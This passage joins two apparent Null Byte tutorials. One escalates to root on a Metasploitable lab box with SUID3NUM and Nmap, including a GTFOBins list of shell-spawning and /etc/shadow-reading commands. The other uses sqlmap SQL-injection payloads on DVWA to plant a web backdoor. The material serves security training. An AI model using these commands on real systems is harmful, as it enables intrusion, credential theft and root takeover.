misconfigurations arise that allow an attacker to run OS commands on the server. We can easily abuse those scenarios to get a reverse shell. But there aremany other waysto get a reverse shell.Step 2: Get SUID3NUM on the TargetThe next step involvesupgrading our limited shell to a fully interactive TTY session. Doing so will not only let us use tab completion and terminal history, but it will make things a lot cleaner and easier to perform the necessary steps for post-exploitation. We'll also want to move into a writable directory such as/var/tmpso we can run our script without any problems.On our local machine, let's downloadSUID3NUM from GitHub. An easy way to do that is to use thewgetcommand:~# wget https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py --2020-04-26 12:22:35-- https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 12614 (12K) [text/plain] Saving to: ‘suid3num.py’ suid3num.py 100%[======================================================================================================================>] 12.32K --.-KB/s in 0.001s 2020-04-26 12:22:36 (16.1 MB/s) - ‘suid3num.py’ saved [12614/12614]Next, we can usePythonto start a basic HTTP server that we can use to transfer the script over to the target. We'll assume that the target has restricted access to the internet, so we need to get the script on there ourselves instead of just downloading it on the target directly.Start the server with the following command:~# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...Back in the shell we have on the target, we can retrieve the file usingwgetagain, this time using the appropriate IP address and port:www-data@metasploitable:/var/tmp$ wget http://10.10.0.1:8000/suid3num.py --14:19:06-- http://10.10.0.1:8000/suid3num.py => `suid3num.py' Connecting to 10.10.0.1:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 12,614 (12K) [text/plain] 100%[=========================================================================================================================================================================>] 12,614 --.--K/s 14:19:06 (65.16 MB/s) - `suid3num.py' saved [12614/12614]We should see the GET request on our local machine, indicating that the transfer was successful:~# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 10.10.0.50 - - [26/Apr/2020 12:24:53] "GET /suid3num.py HTTP/1.0" 200 -At this point, we can kill the Python server since we don't need it anymore.Step 3: Use SUID3NUM to Find SUID BinsTo run SUID3NUM on the target, simply use thepythoncommand. After doing so, we can see the script returning results to us in different sections:www-data@metasploitable:/var/tmp$ python suid3num.py ___ _ _ _ ___ _____ _ _ _ __ __ / __| | | / | \ |__ / \| | | | | \/ | \__ \ |_| | | |) | |_ \ .` | |_| | |\/| | |___/\___/|_|___/ |___/_|\_|\___/|_| |_| github@Anon-Exploiter [#] Finding/Listing all SUID Binaries .. ------------------------------ /bin/umount /bin/fusermount /bin/su /bin/mount /bin/ping /bin/ping6 /sbin/mount.nfs /lib/dhcp3-client/call-dhclient-script /usr/bin/sudoedit /usr/bin/X /usr/bin/netkit-rsh /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/netkit-rlogin /usr/bin/arping /usr/bin/at /usr/bin/newgrp /usr/bin/chfn /usr/bin/nmap /usr/bin/chsh /usr/bin/netkit-rcp /usr/bin/passwd /usr/bin/mtr /usr/sbin/uuidd /usr/sbin/pppd /usr/lib/telnetlogin /usr/lib/apache2/suexec /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/pt_chown ------------------------------ [!] Default Binaries (Don't bother) ------------------------------ /bin/umount /bin/fusermount /bin/su /bin/mount /bin/ping /bin/ping6 /sbin/mount.nfs /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/arping /usr/bin/at /usr/bin/newgrp /usr/bin/chfn /usr/bin/chsh /usr/bin/passwd /usr/sbin/pppd /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign ------------------------------ [~] Custom SUID Binaries (Interesting Stuff) ------------------------------ /lib/dhcp3-client/call-dhclient-script /usr/bin/sudoedit /usr/bin/X /usr/bin/netkit-rsh /usr/bin/netkit-rlogin /usr/bin/nmap /usr/bin/netkit-rcp /usr/bin/mtr /usr/sbin/uuidd /usr/lib/telnetlogin /usr/lib/apache2/suexec /usr/lib/pt_chown ------------------------------ [#] SUID Binaries in GTFO bins list (Hell Yeah!) ------------------------------ /usr/bin/nmap -~> https://gtfobins.github.io/gtfobins/nmap/#suid ------------------------------ [#] Exploit ------------------------------ [&] Nmap ``` TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF /usr/bin/nmap --script=$TF ``` ------------------------------ [$] Please try the command(s) below to exploit SUID bin(s) found !!! ------------------------------ ------------------------------ [-] Note ------------------------------ If you see any FP in the output, please report it to make the script better! :)The first section lists all SUID binaries found on the system. The next section lists thedefault binaries, with a note telling us not to bother. The following section lists custom binaries, and that's where things could potentially get interesting. The final section displays binaries that are part of the GTFOBins list, meaning there's a good chance that those can beexploited.It then gives us the command or commands to exploit any promising SUID binaries found. Let's try it out. First, set the variable:www-data@metasploitable:/var/tmp$ TF=$(mktemp)Next, add the command to execute a shell:www-data@metasploitable:/var/tmp$ echo 'os.execute("/bin/sh")' > $TFAnd finally, run the binary (Nmap) with thescript optionset to our variable. Please note that I did have to addlocalhostto the command or else it wouldn't run properly:www-data@metasploitable:/var/tmp$ /usr/bin/nmap localhost --script=$TF Starting Nmap 4.53 ( http://insecure.org ) at 2020-04-26 14:45 EDT SCRIPT ENGINE: Warning: Loading '/tmp/tmp.FrEHDD5051' - the recommended file extension is '.nse'. sh-3.2#It runs and it looks like we're presented with a root shell. We can use thewhoamicommand to verify:sh-3.2# whoami rootStep 4: Add Custom Commands to SUID3NUMWe can customize the SUID3NUM script to include custom binaries to look for and commands to run. Let's edit the script with thenanoeditor:www-data@metasploitable:/var/tmp$ nano suid3num.pyFind the section that looks like the following, which lists the commands used for SUID binary exploitation:""" Auto Exploitation of SUID Bins - List """ suidExploitation = { 'taskset': '1 /bin/sh -p', 'gdb': '-q -nx -ex \'python import os; os.execl("/bin/sh", "sh", "-p")\' -ex quit', 'bash': '-p', 'busybox': 'sh', 'cat': '/etc/shadow', 'cut': '-d "" -f1 /etc/shadow', 'dash': '-p', 'docker': 'run -v /:/mnt --rm -it alpine chroot /mnt sh', 'env': '/bin/sh -p', 'expand': '/etc/shadow', 'expect': '-c "spawn /bin/sh -p;interact"', 'find': '. -exec /bin/sh -p \\; -quit', 'flock': '-u / /bin/sh -p', 'fold': '-w99999999 /etc/shadow', 'grep': '"" /etc/shadow', 'head': '-c2G /etc/shadow', 'ionice': '/bin/sh -p', 'jrunscript': '-e "exec(\'/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)\')"', 'ksh': '-p', 'ld.so': '/bin/sh -p', 'less': '/etc/shadow', 'logsave': '/dev/null /bin/sh -i -p', 'make': '-s --eval=$\'x:\\n\\t-\'"/bin/sh -p"', 'more': '/etc/shadow', 'nice': '/bin/sh -p', 'nl': '-bn -w1 -s '' /etc/shadow', 'node': 'node -e \'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});\'', 'od': 'od -An -c -w9999 /etc/shadow | sed -E -e \'s/ //g\' -e \'s/\\\\n/\\n/g\'', 'perl': '-e \'exec "/bin/sh";\'', 'pg': '/etc/shadow', 'php': '-r "pcntl_exec(\'/bin/sh\', [\'-p\']);"', 'python': '-c \'import os; os.execl("/bin/sh", "sh", "-p")\'', 'rlwrap': '-H /dev/null /bin/sh -p', 'rpm': '--eval \'%{lua:os.execute("/bin/sh", "-p")}\'', 'rpmquery': '--eval \'%{lua:posix.exec("/bin/sh", "-p")}\'', 'rsync': '-e \'sh -p -c "sh 0<&2 1>&2"\' 127.0.0.1:/dev/null', 'run-parts': '--new-session --regex \'^sh$\' /bin --arg=\'-p\'', 'rvim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'', 'sed': '-e "" /etc/shadow', 'setarch': '$(arch) /bin/sh -p', 'sort': '-m /etc/shadow', 'start-stop-daemon': '-n $RANDOM -S -x /bin/sh -- -p', 'stdbuf': '-i0 /bin/sh -p', 'strace': '-o /dev/null /bin/sh -p', 'tail': '-c2G /etc/shadow', 'time': '/bin/sh -p', 'timeout': '7d /bin/sh -p', 'ul': '/etc/shadow', 'unexpand': 'unexpand -t99999999 /etc/shadow', 'uniq': '/etc/shadow', 'unshare': '-r /bin/sh', 'vim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'', 'watch': '-x sh -c \'reset; exec sh 1>&0 2>&0\'', 'xargs': '-a /dev/null sh -p', 'xxd': '/etc/shadow | xxd -r' }There is a simpler way to exploit theNmapbinary using only one line as opposed to the three from earlier. The--interactiveoption available on previous versions of Nmap allowedOS commandsto be run from the interactive prompt. The problem was that it ran as root, so all an attacker had to do was run the command to spawn a root shell.Add this line to the section of commands in the script:'nmap': '--interactive',PressControl-X,Y, andEnterto save the file. Now, when we run SUID3NUM in auto-exploitation mode, using the-eflag, it will attempt to exploit any vulnerable SUID binaries it finds automatically:www-data@metasploitable:/var/tmp$ python suid3num.py -e ___ _ _ _ ___ _____ _ _ _ __ __ / __| | | / | \ |__ / \| | | | | \/ | \__ \ |_| | | |) | |_ \ .` | |_| | |\/| | |___/\___/|_|___/ |___/_|\_|\___/|_| |_| github@Anon-Exploiter [#] Finding/Listing all SUID Binaries .. ------------------------------ /bin/umount /bin/fusermount /bin/su /bin/mount /bin/ping /bin/ping6 /sbin/mount.nfs /lib/dhcp3-client/call-dhclient-script /usr/bin/sudoedit /usr/bin/X /usr/bin/netkit-rsh /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/netkit-rlogin /usr/bin/arping /usr/bin/at /usr/bin/newgrp /usr/bin/chfn /usr/bin/nmap /usr/bin/chsh /usr/bin/netkit-rcp /usr/bin/passwd /usr/bin/mtr /usr/sbin/uuidd /usr/sbin/pppd /usr/lib/telnetlogin /usr/lib/apache2/suexec /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/pt_chown ------------------------------ [!] Default Binaries (Don't bother) ------------------------------ /bin/umount /bin/fusermount /bin/su /bin/mount /bin/ping /bin/ping6 /sbin/mount.nfs /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/arping /usr/bin/at /usr/bin/newgrp /usr/bin/chfn /usr/bin/chsh /usr/bin/passwd /usr/sbin/pppd /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign ------------------------------ [~] Custom SUID Binaries (Interesting Stuff) ------------------------------ /lib/dhcp3-client/call-dhclient-script /usr/bin/sudoedit /usr/bin/X /usr/bin/netkit-rsh /usr/bin/netkit-rlogin /usr/bin/nmap /usr/bin/netkit-rcp /usr/bin/mtr /usr/sbin/uuidd /usr/lib/telnetlogin /usr/lib/apache2/suexec /usr/lib/pt_chown ------------------------------ [#] SUID Binaries in GTFO bins list (Hell Yeah!) ------------------------------ /usr/bin/nmap -~> https://gtfobins.github.io/gtfobins/nmap/#suid ------------------------------ [#] Exploit ------------------------------ ------------------------------ [$] Auto Exploiting SUID bit binaries !!! ------------------------------ [#] Executing Command .. [~] /usr/bin/nmap --interactive Starting Nmap V. 4.53 ( http://insecure.org ) Welcome to Interactive Mode -- press h <enter> for help nmap>The only caveat with that particular command is that there's no way to automatically run any OS commands once we're dropped into Nmap's interactive shell. So, in that case, it's not entirely automatic, but different SUID binaries will yield other results.From the interactive prompt, simply enter!shto spawn a shell:nmap> !sh sh-3.2#And since it runs as root, we now have a root shell:sh-3.2# whoami rootWrapping UpToday, we learned a bit about SUID binaries and how they can be abused for privilege escalation on Linux systems. We used a script called SUID3NUM to find problematic binaries on the target, and we even customized it to attempt automatic exploitation. SUID3NUM is a handy script that can cut down the time it takes to identify vulnerable SUID binaries during post-exploitation.Don't Miss:Use MinGW to Compile Windows Exploits on Kali LinuxWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by drd_/Null byteRelatedHack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHow To:Use MinGW to Compile Windows Exploits on Kali LinuxHow To:Use a Misconfigured SUID Bit to Escalate Privileges & Get RootHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)How to Train Your Python:Part 19, Advanced File Input and OutputHow to Hack Like a Pro:Getting Started with MetasploitHow To:Unroot Your Galaxy S5 or Other Android DeviceHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPExploit Development:How to Learn Binary Exploitation with ProtostarHow To:Perform the binary routine magic card trickHow To:Understand binary numbers in 60 secondsHow To:Decode binary numbersHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:Enable the Hidden Debug Options for Select Google Apps on Your Nexus 5How To:Use LinEnum to Identify Potential Privilege Escalation VectorsNews:Why Project Treble Is a Huge Win for Exynos Galaxy S9 OwnersHow To:Read and write binary codeHow To:Read a binary clock with the BCD formatHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Securely Sniff Wi-Fi Packets with SniffglueHow to Train Your Python:Part 18, Introduction to Bitwise OperatorsHow To:Use Postenum to Gather Vital Data During Post-ExploitationHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHow To:Inject Payload into Softwares via HTTPHow To:Create Custom Video Boot Animations on Android KitKatHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Display Text in Minecraft Using RedstoneHow To:How Binary Code WorksNews:Math Craft Inspiration of the Week: Marble Binary Calculators & Other Mechanical ComputersHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesWeekend Homework:How to Become a Null Byte Contributor (1/12/2012)How To:How The Internet WorksHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Create a Binary Transition with Trapcode FormGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsWeekend Homework:How to Become a Null Byte Contributor (1/29/2012)How Null Byte Injections Work:A History of Our NamesakeNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Permanently Delete Files to Protect Privacy and Passwords
How to Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1 « Null Byte :: WonderHowTo
Information gathering is one of the most important steps in pentesting or hacking, and it can often be more rewarding to run things on the target itself as opposed to just running scripts against it remotely. With an SQL injection, a hacker can compromise a server and, ultimately, upload and run the "unix-privesc-check" script locally in order to further identify possible attack vectors.SQL Injection PrimerSQL (structured query language) is a language used to perform queries on databases in order to retrieve and manipulate data. You will often find database systems on the back end ofweb applications, usually storing inventory or credentials of some sort. When you search for an item to purchase on a site, for example, the underlying query will be sent to the database and the relevant information will be returned.SQL injectionoccurs when an input field is not properly sanitized, allowing the attacker to enter malicious code into the query. Consequences of this include the ability to tamper with data, destroy data, or evenissue OS commandson the server. SQL injection is an entire area in information security, and it can take years to cover everything. Luckily, there is a lot ofgood information availableto get started.Don't Miss:Database & SQL Basics Every Hacker Needs to KnowOne of the simplest tests we can perform to check if a parameter (in this case, an input box) is vulnerable to SQL injection is to supply it with a single quotation mark. This will terminate the string in a SQL statement, and if the input isn't filtered correctly, it will often return an error. Usually, if this happens, you can be pretty confident that the parameter is vulnerable to SQL injection.When we enter a single quote into the text box, we can see that it does indeed return an error:This tells us that the database system in use isMySQLand that this is very likely a vulnerable injection point. But just to be sure, because you really never can be too sure, we can verify this using the tool,Sqlmap.Step 1: Set Up Your Vulnerable Web AppIn order to show you how this works, I'll be usingDVWA, an intentionally vulnerable web application that is included inMetasploitable 2, as the target. You can use another test target if you'd like, in which case you can skip this step. My attacking machine isKali Linux, which I assume you're likely running.Before we begin, there are a few things that need to be done first to get DVWA ready as the target. First, log in to DVWA with the default credentials, "admin" and "password."Next, navigate to the "DVWA Security" page, and set the security level to "low" in the drop-down menu. This will ensure our attack works as intended.Now, go to the "Setup" page. Here we can create the database if it does not already exist. If it does exist, it will just reset it anyway. Click the "Create / Reset Database" button to do it.Next, browse to the "SQL Injection" page. This application has a function that will query the database when given the user ID number, and it return some information.Now we should be ready to start the initial phases of our attack.Step 2: Recon with SqlmapSqlmap is a tool that automates the process of SQL injection. It is open source and has a ton of features. To display the basic help menu in the terminal, use the-hflag.sqlmap -h. ___ __H__ ___ ___["]_____ ___ ___ {1.3.2#stable} |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python sqlmap [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK Process Google dork results as target URLs Request: These options can be used to specify how to connect to the target URL --data=DATA Data string to be sent through POST (e.g. "id=1") --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --random-agent Use randomly selected HTTP User-Agent header value --proxy=PROXY Use a proxy to connect to the target URL --tor Use Tor anonymity network --check-tor Check to see if Tor is used properly Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to provided value Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH SQL injection techniques to use (default "BEUSTQ") Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --passwords Enumerate DBMS users password hashes --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate Operating system access: These options can be used to access the back-end database management system underlying operating system --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC General: These options can be used to set some general working parameters --batch Never ask for user input, use the default behavior --flush-session Flush session files for current target Miscellaneous: --sqlmap-shell Prompt for an interactive sqlmap shell --wizard Simple wizard interface for beginner users [!] to see full list of options run with '-hh'In order to run this, we need a few pieces of information. First, the URL, which can be found by submitting valid input to the application. Here is what is returned from an ID value of 1:We can see this is working properly, and now we have the target URL:http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=SubmitNext, we need somecookie information. Go to developer tools in whatever browser you are using. In Firefox and Chrome, you can just right-click anywhere on the page and select "Inspect Element" or "Inspect."In Firefox, navigate to the "Network" tab and reload the page. Click on the GET request with the status code 200, then on the right, under "Headers," scroll down to find the cookie information.Now we can run Sqlmap with the-uflag set to our URL and the--cookieparameter set to our cookie information. Make sure to enclose both of these in quotes.sqlmap -u "http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=efc1b1545fd26e619025f0474f9f9a48". ___ __H__ ___ ___[(]_____ ___ ___ {1.3.2#stable} |_ -| . ["] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:45:19 /2019-03-14/ [10:45:19] [INFO] testing connection to the target URL [10:45:20] [INFO] checking if the target is protected by some kind of WAF/IPS [10:45:20] [INFO] testing if the target URL content is stable [10:45:21] [INFO] target URL content is stable [10:45:21] [INFO] testing if GET parameter 'id' is dynamic [10:45:21] [WARNING] GET parameter 'id' does not appear to be dynamic [10:45:21] [INFO] heuristics detected web page charset 'ascii' [10:45:21] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [10:45:21] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks [10:45:21] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] yThe tool will start and begin running some tests. We can see right away that Sqlmap also identified the parameter we tested manually as being potentially vulnerable, as well as fingerprinting the database as MySQL. It will give us some more information when it finishes as well, including the type of SQL injections, operating system information, and database version:.sqlmap identified the following injection point(s) with a total of 280 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 1296=1296#&Submit=Submit Type: error-based Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND ROW(1521,3650)>(SELECT COUNT(*),CONCAT(0x7170626271,(SELECT (ELT(1521=1521,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM (SELECT 2413 UNION SELECT 2304 UNION SELECT 5732 UNION SELECT 1948)a GROUP BY x)-- ZXIP&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5)-- kuRu&Submit=Submit --- [10:46:47] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.04 (Hardy Heron) web application technology: PHP 5.2.4, Apache 2.2.8 back-end DBMS: MySQL >= 4.1 [10:46:47] [INFO] fetched data logged to text files under '/root/.sqlmap/output/172.16.1.102'We can also tack on the--current-userand--current-dboptions to get the names of the current user and current database, which could be useful to know.sqlmap -u "http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=efc1b1545fd26e619025f0474f9f9a48" --current-user --current-db. ___ __H__ ___ ___[']_____ ___ ___ {1.3.2#stable} |_ -| . ['] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:50:00 /2019-03-14/ [10:50:00] [INFO] resuming back-end DBMS 'mysql' [10:50:00] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 1296=1296#&Submit=Submit Type: error-based Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND ROW(1521,3650)>(SELECT COUNT(*),CONCAT(0x7170626271,(SELECT (ELT(1521=1521,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM (SELECT 2413 UNION SELECT 2304 UNION SELECT 5732 UNION SELECT 1948)a GROUP BY x)-- ZXIP&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5)-- kuRu&Submit=Submit --- [10:50:01] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.04 (Hardy Heron) web application technology: PHP 5.2.4, Apache 2.2.8 back-end DBMS: MySQL >= 4.1 [10:50:01] [INFO] fetching current user [10:50:01] [INFO] heuristics detected web page charset 'ascii' [10:50:01] [INFO] retrieved: 'root@%' current user: 'root@%' [10:50:01] [INFO] fetching current database [10:50:01] [INFO] resumed: 'dvwa' current database: 'dvwa' [10:50:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/172.16.1.102'Step 3: Upload Files with SqlmapSqlmap contains a useful feature which can access the underlyingoperating systemthat the database is running on andexecute commands. While this can come in handy for other scenarios, this feature will also allow us to accomplish our goal of uploading a file to the server.To access the interactive prompt, simply use the--os-shelloption when running Sqlmap. It will prompt you with a couple of questions, in this case, the default options will work.sqlmap -u "http://172.16.1.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=efc1b1545fd26e619025f0474f9f9a48" --os-shell. ___ __H__ ___ ___[)]_____ ___ ___ {1.3.2#stable} |_ -| . [,] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:51:06 /2019-03-14/ [10:51:06] [INFO] resuming back-end DBMS 'mysql' [10:51:06] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 1296=1296#&Submit=Submit Type: error-based Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND ROW(1521,3650)>(SELECT COUNT(*),CONCAT(0x7170626271,(SELECT (ELT(1521=1521,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM (SELECT 2413 UNION SELECT 2304 UNION SELECT 5732 UNION SELECT 1948)a GROUP BY x)-- ZXIP&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5)-- kuRu&Submit=Submit --- [10:51:06] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.04 (Hardy Heron) web application technology: PHP 5.2.4, Apache 2.2.8 back-end DBMS: MySQL >= 4.1 [10:51:06] [INFO] going to use a web backdoor for command prompt [10:51:06] [INFO] fingerprinting the back-end DBMS operating system [10:51:06] [INFO] heuristics detected web page charset 'ascii' [10:51:06] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) > 4 do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n [10:52:03] [WARNING] unable to automatically retrieve the web server document root what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default) [2] custom location(s) [3] custom directory list file [4] brute force search > 1This will set the writable directory, which will allow us to upload files. Since our target is running anApache web server,/var/www/will be that directory.Once it completes, we should see a new prompt, which would allow us to run normal operating system commands. But a few lines above that, we can see something interesting: abackdoorand file stager were successfully uploaded.[10:52:24] [WARNING] unable to automatically parse any web server path [10:52:24] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [10:52:24] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://172.16.1.102:80/tmpuryfm.php [10:52:25] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://172.16.1.102:80/tmpbjrer.php [10:52:25] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell>We are interested in uploading files, so all we have to do is go to the URL it gives us in the browser. When we do that, we are greeted by a file uploader:Nice. This is exactly where we want to be.Stay Tuned for the Next PartSo far, we have covered the basics of SQL injection and how to identify vulnerable injection points. We then used Sqlmap to verify and gather a little more information about the database. Finally, we were able to use this tool to set up a file stager on the target so we can upload files.In thenext partof this tutorial, we will use this exciting feature to upload and run a script on the server in order to identify configuration issues and possible avenues ofprivilege escalation.Up Next:How to Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 2Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bypanumas nikhomkhai/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Find Exploits & Get Root with Linux Exploit SuggesterHow To:Use Postenum to Gather Vital Data During Post-ExploitationHow To:Use LinEnum to Identify Potential Privilege Escalation VectorsHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Bypass UAC & Escalate Privileges on Windows Using MetasploitHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)How To:Hack Metasploitable 2 Including Privilege EscalationHow To:The Ultimate Guide to Hacking macOSHack Like a Pro:The Hacker MethodologyHack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHow To:Encrypted Sites May Not Be Safe to Visit Using Chrome's Default SettingsHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Hacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Get Root Access on OS X Mavericks and YosemiteHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHow To:Exploit PHP File Inclusion in Web AppsHow To:Simulate a RAT on Your Network with ShinoBOTHack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:The Easiest Way to Transfer 